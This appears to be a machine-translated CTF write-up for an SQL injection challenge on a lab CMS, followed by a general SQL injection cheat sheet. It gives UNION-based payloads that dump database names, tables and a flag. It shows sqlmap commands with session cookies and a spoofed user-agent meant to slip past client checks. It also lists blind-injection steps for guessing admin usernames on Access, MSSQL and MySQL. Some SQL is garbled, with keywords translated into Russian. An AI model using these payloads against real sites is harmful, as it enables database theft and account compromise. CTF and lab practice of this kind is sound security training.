Оглавление
Вложение: команда внедрения sql
1.i Весна и осень
Целевое введение:
В файле welcome.php этой CMS есть атака SQL-инъекциями.
Открыть страницу регистрации входа:
Нажмите, чтобы войти: в URL-адресе нет SQL-инъекций
Не стесняйтесь ввести свой адрес электронной почты и пароль:
И использовать bp для захвата пакетов
Повторить ошибку имени пользователя или пароля:
Учитывая, что вы ищете welcome.php, это должна быть страница входа в систему, а быстрый вход в систему слишком медленный и случайный.
Просто начните со страницы регистрации:
Перейти на страницу регистрации:
Вы можете ввести пароль пользователя по желанию:
Войдите в систему как пользователь, которого мы только что зарегистрировали:
После успешного входа войдите на страницу welcome.php:
д=2
д=3
Когда q=4: страницы нет
После простого теста обнаруживается, что старт под домом может прыгать:
Проверьте URL:
Обнаружено, что каждый раз, когда нажимается кнопка «Отправить», значение n в URL-адресе увеличивается на 1:
Проверьте n=2' URL-адреса и обнаружите, что есть SQL-инъекция:
2. Ручной впрыск
Точка пробного впрыска:
n=2' объединение выбирает 1,2,3,4,5--+
http://eci-2zedx8v26d3xirugdhkx.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2%27%20union%20select%201,2,3,4,5--+&t=34
Запрос текущего имени базы данных:
n=2' union select 1,2,database(),4,5--+
Запрос местоположения базы данных:
n=2' union select 1,2,@@datadir,4,5--+
таблица базы данных запросов
2' union select 1,2,group_concat(table_name),4,5 из information_schema.tables, где table_schema='ctf'--+
Просмотрите поля в таблице флагов:
2' union select 1,2,group_concat(column_name),4,5 из information_schema.columns, где table_schema='ctf' и table_name='flag'--+
флаг поля запроса
2' union select 1,2,group_concat(flag),4,5 from flag--+
значение флага:
флаг {159e51b2-cdb2-4db2-a59f-5c5c1971216d}
Вот что исчерпал инструмент sqlmap Контейнер новый, поэтому флаг другой.
3. Внедрение sqlmap
Пакеты для тестирования и захвата:
На данный момент мы можем решить проблему двумя способами:
Используются sqlmap
Основные параметры sqlmap:
--u #指定要测试的目标url
--p #指定sqlmap注入的传参参数
--cookie #绕过身份验证
--random-agent或--user-agent #绕过客户端验证
--batch #默认后续sqlmap操作都为Y
--dbs #爆破所有数据库(databases缩写)
1.инъекция sqlmap ---file.txt
Запишите содержимое захваченного пакета в txt:
Пакетная библиотека:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs
Взрыв из базы данных:
Взрыв часы
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" --tables
Разобранная таблица:
Всплеск столбца:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" --columns
Поле взрыва:
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -D "ctf" -T "flag" -C "flag" --dump
Получить флаг:
флаг {d08e9fb8-9a7e-4827-b478-a32665656c8e}
2.sqlmap -- параметры
На этой странице используется доступ для входа в систему, поэтому сначала подумайте об использовании параметра --cookie, чтобы обойти аутентификацию sqlmap, и добавьте параметр --user-agent или --random-agent, чтобы sqlmap обходил аутентификацию клиента, иначе это может быть распознано как очевидное. идентификация клиента sqlmap, что привело к прерыванию атаки.
-у URL
-u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10"
Параметры для -p
-p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36"
--cookie установить значение cookie
--cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668"
Автоматическое подтверждение y и пакетная библиотека
--batch --dbs
полный:
Хоть это и многовато, это просто копирование и вставка~
python sqlmap.py -u "http://eci-2ze1e3vw3lo1qejbppsf.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=5b141f1e8399e&n=7&t=10" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" --cookie="ci_session=b46e9bd88b56429f4211f41daad049b50003af24; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1681218038; PHPSESSID=th97u64vl5evkho1etki7jucnu; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1681219668" --batch --dbs
Лопаться:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" --tables
Всплеск столбца:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" -T "flag" --columns
Поле взрыва:
python sqlmap.py -u "" -p "eid" --user-agent="" --cookie="" --batch -D "ctf" -T "flag" -C "flag" --dump
Вложение: команда внедрения sql
1. Может появиться жерех? Сайт с id=x
Это может быть только динамический сайт на базе asp, PHP, jsp, aspx, и есть взаимодействие с базой данных, например: логин, доска объявлений, поиск, новости. А вот статические страницы не допускаются, такие как html, htm.
2. Тестирование уязвимостей
(1) Тест с одинарными кавычками: используйте парные одинарные кавычки и одинарные одинарные кавычки для проверки при выполнении команд на странице, чтобы увидеть, есть ли SQL-инъекция;
(2) Протестируйте с использованием условных операторов: используйте параметр соединения SQL «и» для подключения к URL-адресу и подключите 1 = 1 и 1 = 2 в качестве условий.Если условия не установлены, база данных изменится, указывая на наличие инъекции, и вы также можете судить о типе базы данных.
3. Внедрение доступа к базе данных (вручную)
(1) Используйте оператор «и», чтобы определить, есть ли инъекция;
(2) определить тип базы данных;
и (выберите количество (*) из msysobjects)> 0; если разрешения на возврат недостаточно, это таблица доступа, в противном случае это MSSQL.
(3) Проверьте имя базы данных;
и db_name()>0
(4) Просмотр информации о версии;
и 0<>(выберите @@версию)
(5) Проверьте, существует ли таблица управления администратором в базе данных;
и существует (выберите * из [admin])
и (выберите количество (*) от администратора)> 0
(6) Проверьте, есть ли в таблице администратора столбец управления именем пользователя;
и существует (выберите первый [имя пользователя] из [admin])
и (выбрать имя пользователя из админки)>0
(7) Угадайте длину имени пользователя в столбце администратора;
и (выберите 1 верхний лен (имя пользователя) от администратора)> 0
Следующую длину можно угадать по желанию, и в качестве длины выбирается максимальное возвращаемое нормальное значение плюс 1.
(8) Удалите значение кода ASCII имени пользователя;
и (выберите 1 верхний по возрастанию (середина (имя пользователя, N, 1)) от администратора)> 0
Для перехвата используется функция mid(), N — количество цифр, а «1» — количество цифр; полученный результат можно преобразовать с помощью инструмента Xiaokui, а полученное значение является реальным значением.
4. Внедрение базы данных MySQL (вручную)
(1) Определите точку инъекции, добавьте # после нее, и если она вернется нормально, это база данных MySQL;
(2) Оценочное количество символов;
порядокb на 1--
Числа можно добавлять непрерывно.Когда возвращаемое значение изменится, это будет количество всех полей + 1; получите количество полей, чтобы определить позицию, в которой данные могут быть отображены
(3) Комбинированный запрос для определения положения данных, которые могут быть отображены;
union select 1,2,3...(последнее количество полученных полей) --
Чтобы добавить неверное значение оценки (и 1=2 или добавить знак «-» перед значением) к URL-адресу, на странице будет отображаться место, где могут отображаться данные.
(4) Просмотр пользователя, версии, имени библиотеки
пользователь(),версия(),база данных()
(5) Просмотр таблицы управления (общие методы именования таблиц управления: система, вход в систему, администратор, пользователи)
union select 1, table_name (здесь находится место, где могут отображаться данные), 3, ... (количество полей) из Information_schema.tables, где table_schema=(здесь шестнадцатеричное число имени библиотеки) limit 0,1 --
(6) Просмотр столбцов
union выберите 1, имя_столбца, 3,..., из Information_schema.column, где table_name=(表名16进制) limit 0,1--
5.sqlmap
(1) Необходимость запуска в среде Python;
(2) Проверьте, является ли это точкой впрыска;
sqlmap.py -u "URL"
(3) Получить список данных;
sqlmap.py -u "URL" --dbs
(4) Текущая база данных;
sqlmap.py -u "URL" --current-db
(5) Получить всю табличную информацию в базе данных;
sqlmap.py -u "URL" --tables -D "целевая база данных"
(6) Получить столбцы;
sqlmap.py -u "URL" --column -T "таблица управления" -D "целевая база данных"
(7) Получить поля;
sqlmap.py -u "URL" --dump -C "поле" -T "таблица управления" -D "целевая база данных"